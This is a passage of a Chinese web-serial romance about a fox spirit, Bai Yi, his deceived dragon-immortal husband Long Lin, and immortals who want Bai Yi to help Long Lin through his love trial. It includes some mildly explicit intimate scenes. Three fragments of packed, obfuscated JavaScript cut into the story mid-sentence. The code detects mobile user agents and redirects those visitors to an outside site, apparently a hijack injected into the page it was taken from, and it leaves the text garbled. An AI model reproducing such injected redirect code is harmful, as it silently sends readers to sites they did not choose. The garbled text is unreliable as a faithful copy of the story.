龙霖突然弯腰伸手,白亦吓得闭紧眼睛,爪子死死扒住地砖。预想中的疼痛没来,只听见头顶传来一句:“去拿个笼子来。” 龙霖的声音平静得听不出情绪。 仆从愣了下,瞥见主子脚边那团发抖的白毛球,连忙说好。 白亦被关进了笼里,整只狐缩成雪白的一团,爪子紧紧收着,脑袋深深埋进蓬松的尾巴里。 他听见龙霖问家仆狐狸该吃什么,仆人说狐狸该是喜欢吃□□。 紧接着一只血淋淋的死鸡就被扔到了笼门前。浓重的血腥味激得白亦浑身一颤,毛茸茸的身子抖得更厉害了,几乎要缩成个球。 龙霖皱眉挥手,让人把死鸡撤了下去。 待房门关上,他蹲下身打开笼门,指尖轻轻敲了敲笼框:“变回来。” 他声音不重,却带着不容拒绝的意味。 白亦从尾巴缝里露出一只眼睛,湿漉漉的瞳孔里映着龙霖看不出情绪的脸。他试着动了动爪子,可体内空空如也的丹田让他连最基本的化形都做不到。只能可怜巴巴地“呜”了一声,又把脑袋埋了回去。 龙霖双手一拢,直接把那团白毛球从笼子里掏了出来。白亦蹬着后腿拼命挣扎,却被修长的手指从头到尾捋了一遍,连肚皮和私//密处都没放过。 “果然是只公狐狸。”龙霖捏了捏他后腿,下了结论。 白亦顿时僵住,耳朵尖都羞红了。 龙霖把他举到眼前,这才发现这小狐狸生得极好——雪白的毛发泛着银光,金瞳澄澈得像两汪蜜,鼻头粉嫩嫩的,透着一股灵气,一看就不是一般的狐狸。 “快点变回来。”龙霖又重复了一遍,拇指蹭过小狐狸湿润的鼻头。 白亦被他盯得耳朵直抖,爪子无意识地开合了几下,最后自暴自弃地把浑身一卸载力——不是不想变,是真的变不回去啊。 “你要是不变回来,就把你藏的那些话本全烧了。”龙霖捏了捏狐狸的后颈,威胁道。 白亦突然蹬了下后腿,毛茸茸的爪子啪地按在龙霖脸上。还没等龙霖皱眉,一个湿漉漉的吻就印在了他唇上。有什么温热的东西顺着唇缝渡了过来,龙霖还没反应过来,怀里的白毛团子就突然重了许多—— 龙霖怀里突然一沉。只见那团白毛球眨眼间化作人形,赤裸的身子重重摔在地上,发出一声闷响。白亦疼得“嘶”了一声,侧着身子,雪白的长发铺了满地,显得妖性更重,肌肤越发剔透,双腿也更加修长莹润。 头顶的狐耳不安地抖动着,那条蓬松的尾巴下意识卷起来,堪堪遮住重点部位。 龙霖的手还悬在半空,他目光扫过白亦泛红的膝盖,又落在那条紧张得炸毛的尾巴上,突然觉得喉头发紧。白亦手忙脚乱想找东西遮掩,尾巴却不听话地左摇右摆,反倒把腰臀线条衬得愈发明显。 真的就是妖精。 龙霖一把扯下外袍罩在白亦身上,玄色衣料瞬间裹住那具雪白的身子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488838|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可还没等白亦松口气,手腕就被铁钳似的手扣住,龙霖蹲下身,眼底暗沉:“你刚才就是在吸我的精气?“ 白亦的耳朵瞬间绷直,他想说那本来就是自己的内丹,龙身处处都是宝,自然包括他的体//液,可话到嘴边又卡住,最后只憋出一句:“就……就借了点精气而已……我会还给你的。” 声音越说越小,尾巴尖心虚地卷了起来。 他那颗温养百年的内丹,此刻还在龙霖身体里呢。 龙霖捏着白亦下巴的手紧了紧:“你接近我,是为了吸精气修炼?还是像你那些话本里写的......来报恩的?” 白亦也不知道龙霖什么时候看过他的话本,白亦总不能直说是冲着逆鳞来的,支支吾吾半天也没憋出句完整话。这反应落在龙霖眼里,倒像是坐实了前一种猜测。 “你之前还吸过别的人的精气吗?”龙霖声音又冷了几分。 白亦迟疑着点头,随即感到腕骨被攥得生疼。一些道行浅的小妖,为了掩盖气息偶尔会借凡人点精气——不过是用指尖勾一缕阳气,顶多让人乏倦几日,连头发丝都不会少一根。 可眼下这情形,解释的话在舌尖转了几圈,终究没敢说出口。 因为龙霖看起来很厌恶他的做法。 龙霖的脸色骤然阴沉,在白亦腕上掐出几道红痕:“婚约是假,女子身份是假,白亦,你嘴里还有半句真话吗?” 白亦确实骗了婚约,伪装了性别,甚至就是冲着逆鳞来的。 每一条指控都无可辩驳,只能把脸埋得更低。 “现在给你选。”龙霖突然松开钳制,居高临下地看着他,“要么立刻滚,永远别让我再看见你,要么老老实实待在这里,从今之后做一只好妖。” 白亦怎么可能走?他那颗温养百年的内丹还在龙霖身上,更别说他千里迢迢来找的逆鳞。况且院外那些阵法层层叠叠,就算龙霖真放他走,他也根本出不去。 “我不能离开的,我……” “好。“龙霖斩钉截铁地道,“那你以后就在这里做一只好妖,我会来经常来看你的。” 这哪是给选择。 看着龙霖欲走,他连忙攥着龙霖的衣摆,仰着脸,眼眶发红:“龙霖,你是不是......嫌我是只公狐狸?要休了我。” 声音越说越小,最后几个字几乎听不见。 静竹那日的话像刀子似的刻在他脑子里——无情道,灭情绝爱。等龙霖归位那天,这段荒唐婚事怕是会成为九重天上最大的笑话。 龙霖垂眼看他,眼下投出一片阴影。司晨的警告言犹在耳:妖精最会蛊惑人心,特别是这种修成人形的,专靠皮相骗人,以色侍人。眼前这双湿漉漉的狐狸眼,看起来像是真的在难过。 龙霖硬着心肠说:“别碰我,也别装这副可怜相。” 白亦的眼泪凝在眼眶里,要掉不掉。 他从未见过龙霖这样看自己——仿佛在看什么肮脏的东西。喉头发紧,他想说自己是真的动了心,可话到嘴边又咽了回去。一个骗子说的话,谁会信呢? 大婚那日,白亦穿着嫁衣,轿帘被掀开。龙霖那张俊脸逆着光撞进视线,他心头就漏了一拍。 白亦知道自己在龙霖心里的确罪无可恕。 白亦猛地缩回手,他想起人间那些关于妖物晦气的传言,声音都虚了几分:“我……我不碰你了就是了......" 龙霖没接话,转身时衣角带起一阵凉风,只丢下一句“好好反省”。 两天后龙霖再来时,白亦已经做好了接休书的准备。 没想到对方却拎着食盒,里面全是他爱吃的菜。他不敢像往常那样挨着龙霖坐,特意缩到桌子对面,连夹菜都只敢碰眼前那一盘。 “你这耳朵尾巴——”龙霖突然撂下筷子,开口道,“还得多久才能收回去?“ 白亦去捂头顶支棱的耳朵。他以为龙霖是嫌他这副模样碍眼:“暂时……暂时还变不回去的......” 因为有条尾巴,白亦衣服也不能好好穿。 白亦的尾巴不受控制地左右轻摆,将衣袍后摆顶起一个蓬松的弧度。他不得不半敞着前襟,雪白的衣料虚虚搭在肩头,露出大片如玉的肌肤。 甚至随着尾巴摆动的幅度,衣襟时不时滑落几分,隐约可见精致的锁骨和一抹淡粉。 龙霖突然开口说:“多吸些我的精气,能让你完全变回人形么?” 白亦正埋头扒饭,闻言猛地抬头,一粒米还粘在嘴角:“啊?” 9.出逃 龙霖的话让白亦摸不着头脑,一顿饭吃得心不在焉。等吃完,那人却丝毫没有要走的意思。白亦刚想收拾碗碟,手腕就被一把扣住。 “放着,有人收拾。”龙霖牵着他往内室走,掌心温度烫得惊人。 白亦盯着两人交握的手,直到被松开才回过神。龙霖忽然抬手捏了捏他支棱的狐耳:“你这耳朵和尾巴太碍事了,得收回去。” “我......”白亦耳朵抖了抖,丧气道,“不是我不想......” 龙霖说:“得吸精气是吧。” 话说完,白亦下巴突然被抬起。龙霖低头就吻了下来,惊得白亦尾巴炸毛,瞳孔瞪得滚圆。后颈被牢牢扣住,唇舌长驱直入,比想象中更凶。他腿一软,爪子无意识抓住龙霖前襟,连尾巴尖都绷直了。 龙霖松开他时,白亦整张脸都红透了,唇瓣水润泛着光泽,眼神迷蒙得找不到焦点。他晕乎乎地靠在龙霖怀里,头顶的耳朵还支棱着,尾巴却无意识地缠上了对方的腰。 “怎么还没收回去?”龙霖皱眉捏了捏他发烫的耳尖。 白亦这才回过神——方才光顾着发愣,压根没吸取精气,光龙霖吸他口水了,他支支吾吾道:“可能……是量不够......” 龙霖脸色顿时沉了下来,指腹重重擦过白亦红肿的下唇:“那怎么才够?” 白亦想要的是他那颗内丹,这样短暂的相触只能吸取些龙息,终究不是长久之道,他想起自己把内丹给龙霖的时候,是趁着两人同房之际,可眼下这情形,龙霖怎么可能再与他同房。 犹豫半晌,白亦硬着头皮道:“这点……是不够的,得要更亲密才行……双//修最好了。” 白亦说完,面前的龙霖却不知道想到什么,脸色沉了沉,用无可救药的眼神看着白亦。 “你们妖物难道整日里都是想着这些邪魔歪道,你难道就不可以自己靠着努力修炼。” 白亦听着龙霖话里的鄙夷,想起的确有前辈为了捷径用些偏激的法子修炼,可是他从来没有用过,自己明明规规矩矩修炼了百年,怎么就被归作了一类? 白亦声音发闷,为自己辩解:“不过是借了点精气......我没害人。” 龙霖的眉头皱得更紧,周身气压低得吓人:“你一点反省之心都没有吗?你还是觉得你这样是对的?” 白亦被他盯得发慌,半晌才挤出一句他错了的话,声音轻得像蚊子哼。 可这显然没能让龙霖满意:“你其实心里没半点悔改之意吧。” 龙霖欲转身离开,白亦连忙扯着他的袖子哀求道:“龙霖,我会改的,我以后不会再这样了。” 龙霖的脊背挺得笔直,既没有推开他,也没有回应他。 白亦心一横,踮起脚尖吻了上去,唇瓣相贴的瞬间,他故意放软了嗓音,带着蛊惑:“相公,别这样对我,我好想你……” 可龙霖的眼神依旧清明,垂眸看他的样子仿佛在审视,白亦的吻越发炽热,却暖不化对方眼底的霜雪。 白亦突然想起静竹当初讥诮的问话——“大道无情,龙霖走的是灭情绝爱之路,你凭什么觉得他会为你破戒?” 心脏猛地抽痛起来,白亦眼泪猝不及防就滚了下来,烫得他脸颊生疼。 他当然不确定。 多少次午夜梦回,他也想干脆利落地拿了逆鳞远走高飞,什么都不要多想。 可此刻的泪水不是为了算计落下的,纯粹是胸口那团郁结的酸楚太疼,疼得他不得不哭。 他哭什么呢? 他只是觉得难过罢了。 他怎么能对龙霖动心?明明最初接近的目的那么明确,只是为那片逆鳞而来。他还有那么多未完成的事等着他去做。 龙霖的指尖突然抚上他的脸颊,揩去那滴将落未落的泪,语气依旧冷淡:“哭什么?” “相公,你帮帮我好不好?”白亦的声音带着哭过后的哑,手上动作却大胆起来。他将龙霖推倒在床榻间,跨坐上去时衣摆散开如花瓣。 唇舌先是在对方下唇流连,又顺着脖颈线条一路啃咬至喉结,感受着那处肌肤在齿间的微微颤动。手指灵巧地探入衣襟,沿着肌理分明的腹部缓缓下移。 龙霖的目光始终落在虚空处,只在白亦碰到某个地方时稍稍偏开了头,呼吸乱了半分。 床帐被扯得半落,烛火将两人的影子投在墙上,交叠成暧昧的形状。 白亦今日穿了一件红衣,像极了当年洞房时的嫁衣,衣领滑落时露出小片雪白的肩头,在烛光下泛着莹润的光。 这抹艳色落在龙霖眼里,恍惚间又回到那红烛高烧的喜房。 白亦其实和龙霖亲近总有些胆怯的。 他记得第一次时龙霖被龙性支配的模样,那双清明的眼睛布满欲念,将他死死按在锦被间。白亦的腿根都在发抖,悬在龙霖腰侧的足尖绷得发白,窗幔晃出的残影在他视线里碎成一片。 哭哑了嗓子求饶也没用,龙霖要把他的魂魄都撞散了。 而此刻龙霖是第一次清醒的。 他能看清白亦每一寸泛红的肌肤,被泪水浸湿的睫毛,微微张着喘息的唇,像朵渴极了的花,颤抖着花瓣等他来采撷。 可龙霖只是沉默地看着,仿佛眼前这具诱人的身体与他毫无干系:“……之前我们同房?” 白亦脸颊烧得通红,声音细若蚊呐:“用的后面。” 见龙霖不说话,白亦以为他是嫌弃自己是个男人,犹豫地道:“你若不喜欢……我可以像之前一样……也很舒服的……就像做了一场梦……” 只是话音未落白亦就被猛地推开。 龙霖脸色阴沉得可怕,修长的手指将散开的腰带重新系紧,动作带着压抑的怒意。 白亦还不知道发生了什么,衣衫凌乱地跪坐在榻上,看着那道挺拔的身影转身欲走,慌忙扑上去抱住他的腰:“相公......你说过夫妻一体,不离不弃的,你不能走......” 龙霖一根根掰开他紧扣的手指,还是走了,扔下一句:“…….白亦,收起你那些过往用在我身上的狐媚把戏。” 空荡荡的房间里只剩下白亦一个人。 他蜷缩在床角,抱着膝盖,烛火早已燃尽,窗外的月光冷冷地铺了一地,他就这样坐了一整夜,直到晨光熹微。 心底最后那点侥幸也被碾得粉碎,龙霖果然还是容不下他。 连续几日,龙霖再没来过。 直到这天突然被一声震耳欲聋的巨响惊醒。他赤着脚跑出去,被飞扬的尘土呛得直咳嗽。待烟雾散去,只见原本固若金汤的索妖阵已经碎成齑粉,地上裂开一道狰狞的沟壑。 怀曼叉腰站在废墟中央,身边立着个足有两米高的牛头妖,肌肉虬结的手臂抡着两个骇人的铁锤。 白亦呆立在原地,看着阵法残骸上飘散的灵力余韵。 “不是早说了我会来救你?”怀曼得意地挑眉,拍了拍牛头妖结实的胸膛,“这是我新找的相好。还愣着干什么?快出来啊。” 白亦犹豫:“可我的内丹还在......” 话未说完就被怀曼一把拽进草丛里躲起来。 远处传来急促的脚步声,他屏住呼吸,看着龙霖和司晨出现在废墟前。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492889|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 龙霖的脸色比那日离开时还要难看,冲进院子的身影带着罕见的慌乱。不一会儿又疾步而出,竟一把揪住了司晨的衣领,手背青筋暴起,像是下一秒就要挥拳相向。 白亦从没见过这样的龙霖,此刻却像头暴怒的凶兽。 修为大减后,连狐狸的耳力都退化得厉害,白亦只能隐约看见两人嘴唇开合,却听不清内容。 “他们在说什么?”他小声问。 牛妖挠了挠角道:“好像是说要是抓到你,非要扒了你的狐狸皮。” 白亦顿时打了个寒颤,手指不自觉地揪住自己的衣袖。 “走......我们还是走吧。” 怀曼道:“你不要你的内丹了?” 白亦:“……我觉得这样也挺好的。” 至少比变成一张血淋淋的狐皮强。 那牛妖名叫昊焱,生得魁梧,一身腱子肉叫人害怕,偏生在怀曼面前连话都说不利索。 昊焱对怀曼一见钟情,在她摊上买了一个月的豆腐,才结结巴巴地跟她说上了话,惹得怀曼笑弯了腰。 如今三人在竹林安顿下来,他抡着斧头劈柴准备做饭。 怀曼捏着颗野果抛接把玩,忽然伸手捞过白亦的尾巴揉了一把。 那尾巴毛蓬蓬的,比最上等的狐裘还软,只是主人显然不乐意被这么逗弄,手忙脚乱地往衣摆里藏。 “几百年了还是头回见你这么可爱,该不会永远变不回去了吧?” 白亦那对狐耳动了动,尾巴在衣料下拱出起伏的轮廓。 篝火噼啪作响,昊焱烤的野兔滋滋冒油。 怀曼问白亦接下来打算怎么办。 白亦吃得嘴角冒油,嘴巴鼓鼓的:“还是得把内丹拿回来。” “可那真龙身边时时都有神仙守着,”怀曼说,“你连近身都难。” 白亦:“我知道他什么时候身边绝对没有神仙。” 吃饱喝足后。 昊焱施法将他的尾巴藏了起来,他这易容术最多能骗一骗凡人,但若撞上司命或司晨,怕是连个照面都撑不住。 白亦趁着晨雾未散,混在采买的仆役里溜进后院。龙霖如今官运亨通,府邸比从前大了三倍不止。 路过厨房时,两个婆子正凑在井边嚼舌根,说夫人这病不知道什么时候能好?大人最近都心神不宁的。 他裹紧粗布衣裳,低头穿过回廊,直到浴房附近才恢复原形,轻巧地翻上屋檐。 他变成原身蜷在阴影里等得昏昏欲睡,直到水声哗啦响起才猛地惊醒。 白亦一下子就精神了,等到脚步声逐渐少了,他微微探出一只眼睛,就看见龙霖背对着他,脱得只剩一件中衣,再一看就进了浴桶里。 白亦狐爪一弹,一缕淡紫色的迷香无声散开。 龙霖的头渐渐低垂,靠在浴桶边缘一动不动。 白亦身形一晃,化作人形,那条蓬松的狐尾无意识地在身后轻晃,尾尖扫过屏风,带起细微的声响。烛火将他的影子投在墙上,妖异而绮丽。 他随手捞起龙霖搭在屏风上的外袍披在肩头,衣料上还残留着熟悉的冷松香。 赤足踩在湿润的青砖上,每一步都轻得像猫。 白亦蹲下身停在浴桶边,看着龙霖被水汽蒸得微红的脸庞,喉结不自觉地滚动。 他凑过去,嘴唇几乎贴上对方的唇瓣,龙霖体内沉寂已久的内丹正被原主的气息牵引着缓缓苏醒。 白亦大喜。 就在内丹慢慢出来的刹那,龙霖骤然睁眼——那双本该迷蒙的眸子清明如寒潭,倒映着白亦瞬间惨白的脸。 10.渡劫 四目相对。 龙霖的视线如铁钳般牢牢锁住白亦,那双深不见底的眼眸里翻涌着危险的暗流。 白亦试探性地在他眼前晃了晃手,下一秒手腕就被炙热的手掌狠狠扣住,指腹传来的温度烫得惊人。 迷药怎么会失效?他本能地想要抽身后退,却被龙霖猛地拽向前方。 伴随着哗啦一声巨响,浴桶里的热水四溅开来,白亦整个人重重跌进水中,后腰撞在坚硬的桶壁上,激起一阵钝痛。 那件外袍落在了浴桶外面,白亦挣扎着坐起身时,长发湿漉漉地贴在颈侧,不断往下滴水。他胡乱抹了把脸,蒸腾的热气在两人之间缭绕,本就狭小的浴桶因为挤进两个成年男性而显得更加逼仄。 白亦的膝盖无意间蹭到龙霖的大腿,隔着湿透的衣料能清晰感受到对方紧绷的肌肉线条。 白亦被热水呛得连声咳嗽,等他终于能看清眼前景象时,视线不经意往下一扫,龙霖精壮的身躯毫无遮掩地袒露在氤氲水汽中,肌肤上还滚着晶莹的水珠。 他慌乱地别开眼,却发现自己无论往哪边躲,难免都会触碰到龙霖的身体,他也是□□,这太危险了。 “我、我马上出去......”白亦结结巴巴地说着,后背紧贴着浴桶边缘往外挪,龙霖突然伸手扣住他的腰,完全压在身下。 蒸腾的热气模糊了白亦的视线,只能感觉到龙霖灼热的呼吸喷在发顶:“你又想去哪了?” 白亦刚咬住下唇,房门就被人猛地踹开。 司晨握着扇子冲进来,那句“妖精”还没喊出口就卡在了喉咙里。他僵在原地,扇面“啪”地一声掉在地上,眼睛死死盯着桶里姿态不雅的两人,脸色青白交加:“你们......这是在做什么?” 白亦身子往下缩,恨不得把自己完全躲进龙霖身下,水波随着他的动作轻轻晃动,龙霖感受到他的小动作,垂眸投来一记警告的眼神。 龙霖的声音不紧不慢地响起,带着几分危险的慵懒:“你瞎了吗?你说我在干什么?滚出去!” 恐怕只有龙霖作为凡人才能如此胆大包天地对神仙说出这种话。 司晨那张脸此刻精彩纷呈,嘴唇开开合合却发不出声音,而后捡起扇子同手同脚地退了出去,还顺便把门带上了。 天,这哪还是那个端方自持的龙霖?他从未见过对方眼底翻涌着这样赤裸的欲念,真,真是禽兽。 而后不久白亦听见外面传来一声闷响,像是有人撞在了廊柱上。 龙霖松开钳制的手,他起身跨出浴桶,水珠顺着肌肉的沟壑滑落,在烛光下泛着光泽,他拿起搭在屏风上的衣物往身上穿。 白亦仍蜷缩在浴桶里,指尖扒着桶沿,探出半个脑袋,他想起龙霖说要剥他狐狸皮的场景,声音细如蚊呐:“我只是来取样东西,取完就走,没想害人……” 龙霖系衣带的动作顿了顿,半敞的衣襟露出大片胸膛。 他转身时,烛火在眉骨投下锋利的阴影:“出来。” 两个字砸在地上,惊得白亦湿润的耳尖一抖。 白亦湿漉漉的长发黏在颈侧,撑着桶壁站起身时,双手抱在胸前,龙霖的目光像刀子般刮过他的全身,而后一件雪白外衫突然兜头扔来。 白亦接住,而后小心翼翼的试探:“不然我不要那东西了,你我走……好不好?” “你觉得呢?” 白亦看见龙霖眼底有些冰冷的怒焰,一时有些慌了,闭上了嘴,他往后退,准备跳窗逃出去。 白亦被龙霖眼底那簇冰冷的怒焰刺得一颤,喉间的话顿时咽了回去。 他下意识想要打开窗棂出逃,结果却在指尖触到窗框的刹那被一道金光狠狠弹了回来。 禁咒的余波震得他手腕发麻,在白皙的皮肤上留下一道红痕,白亦狼狈趴在地上。 “这里被设了阵法,没有我你出不去的。“ 白亦咬着下唇没动,眼眶微微泛红:“你还是把我休了吧。” 反正你又不喜欢我,这句话没敢说出口。 白亦还没来得及反应,下一刻腰间突然一紧。龙霖抄起一件他脱下的长衫兜头罩下,白亦眼前一黑,整个人已经被打横抱起。他挣扎着去扯蒙在头上的衣衫,却在颠簸中碰到龙霖滚烫的胸膛。 穿过回廊时夜风拂过脚踝,紧接着就被扔进柔软的床榻里。 锦被上绣的花纹磨过掌心,龙霖的气息铺天盖地压下来,将他所有未尽的言语都堵在了喉间。 白亦掀开罩在头上的衣衫,他怔怔地环顾四周,那日被他撞碎的一切的东西如今完好如初地摆在案几上。 龙霖的声音从头顶落下:“这就是你的家,你还要去哪?” 白亦的指尖无意识地揪紧了被角:“可是我是妖啊……人妖殊途……” 龙霖的眉头蹙起,他伸手捏住白亦的下巴,强迫对方抬头:“你以后做一只好妖,不许用你那些邪门歪道修行。” 白亦想挣开他的手,无济于事,只能睁大眼睛:“可我是个男人,你也不介意吗?” 龙霖俯身:“你长这样,是男子女子有分别吗?” “明明骗人的是你,我就是让你在别院反省些日子,你居然好意思跑?” 白亦突然又有希望地开口:“你不休我吗?” “我说过的话,永远不会倒,你只要做只好妖,你永远都会是龙夫人。” 白亦望着龙霖近在咫尺的面容,那双总是凌厉的眉眼此刻竟透出几分罕见的柔和。心想狐族前辈们果然没有说错,神仙都是重诺的,即使打心底里并不是那么喜欢,厌恶的,也会死死守着诺言。 他能留在龙霖身边了,这本该是值得高兴的事。可龙霖如今每说一个字,都像细小的银针往他心尖上扎。 白亦垂下眼:“你身边那个......道士容不下我。” 龙霖指尖卷起白亦一缕湿发,拥住他:“放心,你不作恶,他不敢动你,离别的妖物远一些,你以后就是人。” 白亦盯着晃动的月斑,觉得它们像极了狐谷里会发光的萤草,他可是当了几百年的妖,如今龙霖却居然让他当人。 在龙霖眼里,大概所有妖族大概都是面目可憎的嗜血之徒吧?包括现在被他搂在怀里的这个。 龙霖的手掌温暖干燥,落在白亦身上,像是安抚受惊的小动物。 龙霖恩施的姿态像是大发慈悲原谅了他。 可是,只要能呆在他身边,白亦也别无所求了。 府里这几日闲话不断,下人们交头接耳地议论着。夫人先前突然离府,说是去别院养病,大人那段时间的脸色阴沉得吓人,活像被人戴了绿帽似的。如今夫人又悄无声息地回来了,大人的脸如同冰雪消融。 新聘任的管家特意召集全府训话,说夫人病体未愈需要静养,无事不要去打扰。 白亦倚在窗边,指尖凝聚一点的妖力。 他对着空中轻轻一吹,那妖力便化作一只漆黑的乌鸦,扑棱棱地飞起来,他传给怀曼的信,写着不必寻他,也不必忧心。他会留在龙霖身边,直到取得那片传说中的逆鳞。 关于逆鳞的传说他听过太多版本,但唯有那个能令堕魔者清醒的功效让他记到现在。哪怕要付出不可承受代价,他也一定要得到那片龙鳞,那之后他就任凭龙霖处置。 白亦身边就一个服侍的李婆婆,他本就不喜欢有人伺候。 转眼半年过去,龙霖官运亨达,一跃成为当今陛下的红人。 京中落了今冬第一场雪。 白亦醒来时,枕畔早已凉透。 龙霖去上朝,床帐细心掖好,没让半点寒气透进来。这半年来他们夜夜同榻而眠,却始终隔着一层说不清道不明的距离。 偶尔龙霖情动,也不过是草草了事,从不会过分纠缠。事后总是习惯性地将人揽进怀里,手掌搭在白亦腰间,却不许白亦有别的小动作。 窗外的雪簌簌落下,在檐角积了薄薄一层。 最让白亦难堪的是每月妖力不稳时,耳朵尾巴不受控制地冒出来,不得不向龙霖讨要龙息的时候。那人总会突然变得恶劣,将他圈在臂弯里,手指有一搭没一搭地揉捏着敏感的耳尖和尾巴,却又不肯给个痛快。龙息渡过来时总是断断续续,像逗弄宠物般。 白亦别过脸去说我生气了。 龙霖手指捏住他的下巴尖,拇指蹭着他的脸,触到微微鼓起的腮帮子,玩弄着他的脸说真的吗? 白亦那股子气性顿时像被戳破,噗地泄了个干净。 取回内丹一日推着一日,龙霖根本就不给他机会。 狐谷四季如春,白亦以前没见过雪,推开窗的时候伸手接了一片雪花,很快消融在手里。 李婆婆将一件披风轻轻搭在白亦肩头。突然院中积雪忽然无风自动,扬起细碎的雪沫。白亦瞳孔微缩,抬手示意李婆婆去厨房取汤,老人家看不见那两位凭空出现的访客,听命出去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505141|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白亦看着雪地的两个神仙,面露警惕:“你们想做什么?龙霖不会让你们伤我的。” 司命手中的笔转了个圈,他与司晨交换个眼神,这半年来龙霖将这狐狸精护得密不透风,他们费尽周折才寻到今日这个空隙。 “放心,”司晨展开折扇,挡住飘落的雪花,”我们不是来找你麻烦的。” 白亦欲关窗:“我跟你们没什么好说的。” “即使这件事关乎龙霖,你也不想听吗?” 屋内有余炭的旺热。 司晨和司命大着胆子打量了一番龙霖的居所。 白亦催促说:“你们到底想说什么?” 司命手中凭空现出一本命册,纸页翻动时发出沙沙轻响。 “你之前肯定听过我们的谈话吧,龙霖此番下凡渡的是情劫。与之渡劫的对象,本该是一同下凡的静竹公主。” 白亦没否认。 司晨接话,扇骨敲在掌心发出清脆的啪嗒声:“魔界近日新立了位魔君,正在往生河畔集结兵力,龙霖归位迫在眉睫,偏生出了你这个变数。” 白亦听到“魔君”二字时,指甲深深掐进掌心。 魔界游离于三界之外,那里没有日月轮转,只有永夜与厮杀,弱肉强食是唯一的法则,往生河畔堆积着森森白骨,河水常年泛着诡异的幽绿色。 新晋的魔君踏着尸山血海登上王座,魔界没有道德伦常,只有最原始的杀戮欲望在支配着每个活物。 因此三界中人每每提起魔界时也会不自觉地忌惮。 龙霖不归位,也意味着白亦也迟迟拿不到逆鳞,要等到龙霖在凡间的肉身寿终正寝,顿悟复身,白亦没有那么多时间。 他喉结滚动了下:“......那怎么办?” 司命:“我今日找到你,就是想让你帮龙霖渡过这次情劫。” 白亦惊讶道:“我帮龙霖渡劫?你什么意思?” 司命翻着他的册子,而后痛心地道:“你还没明白吗?现在的问题是,龙霖根本对静竹公主没那个意思!” 白亦露出了个你又是怎么知道的神情,他没这么笨,之前这几个神仙,一个两个都说什么天命不可违,龙霖迟早会喜欢上静竹的,拼命踩他,现在怎么又要他帮忙渡劫。 司晨的折扇“唰”地合拢,看出面前这小狐狸精所想,还是年纪太小,想什么藏不住,扇骨敲在掌心发出清脆的啪嗒声:“你也知道龙霖这个人死心眼得很,他又堪称咱们九重天品德数一数二的神仙,既然跟你成亲,即使心系他人也断然不会做出伤害你的事。” 司命听着司晨说出品德数一数二这几个字的时候,嘴角微微有些抽搐。 “你想,他跟静竹公主根本就没故事发生,这一切都是因为你?” 白亦犹豫点头。 “那我又问你,你到底想不想他好,想不想他早日归位铲除魔君,想不想三界太平?” 白亦果然中他的招道:“我自然是想他好的。” 三界太平这事他倒没太考虑。 “那你便代替静竹的位置,送往异国和亲,助他早日渡劫。” 白亦闻言猛地抬头看着他。 可是龙霖就该归位的。 * 龙霖踏着未停的雪归来,朝服上还带着未散的寒意。白亦接过他披风时,细碎的雪粒簌簌落下。 “最近怎么总是这么晚?”他低声抱怨着,手指拂过龙霖肩头残留的雪痕,“饭菜热了三回都不见人影,还让不让人吃饭了。” 龙霖忽然抬手,指腹擦过白亦后颈,激得他一个激灵往后缩。 龙霖眉眼此刻染着几分笑意:“这么怕冷?” 白亦觉得龙霖心眼坏死了。 厨房新端来的菜肴冒着热气,龙霖拉着白亦的手腕入座说:“陪我再吃点。” 白亦坐在他身侧,龙霖朝冠已经取下,几缕散发垂在额前,柔和了平日的凌厉。 “朝中近日为是否出兵北燕吵得不可开交,于是大家都不能走。” 白亦托腮:“那你觉得会打起来吗?” 龙霖说:“北燕新帝好战成性,这一仗避无可避。” “今天怎么不开心?”龙霖见白亦今日心不在焉突然问。 白亦摇摇头:“打仗会死很多人吧?又会有很多人受苦吧。” 龙霖紧握着他的手,拍了拍他的手背以示安慰。 窗外是天寒地冻,但屋里是暖的。 11.和亲 夜色深沉,龙霖吹灭烛火,窗外雪光透过纱帐,映出床榻上交叠的身影。 白亦从龙霖背后贴上来,手臂环住他的脖颈,微凉的指尖无意识地摩挲着他凸起的喉结。 龙霖身上总是暖的,像块温润的暖玉,白亦贪恋这份温度,总爱往他怀里钻。 龙霖扯过锦被,将两人严严实实裹住。 白亦睡觉喜欢穿得单薄,中衣松松垮垮的,稍一动作便滑落肩头,露出大片白皙的肌肤。 此刻他整个人蜷在龙霖怀中,像只寻求温暖的猫儿,膝盖抵在龙霖腿间,脚背蹭着他结实的小腿。 龙霖向来睡姿端正,此刻却被白亦翻来覆去的亲吻扰得不得安宁,小狐狸在他怀里拱,于是湿软的唇瓣有意无意擦过他的锁骨,又辗转至下巴。 被缠得紧了,龙霖终于伸手扣住白亦的腰,说别动。 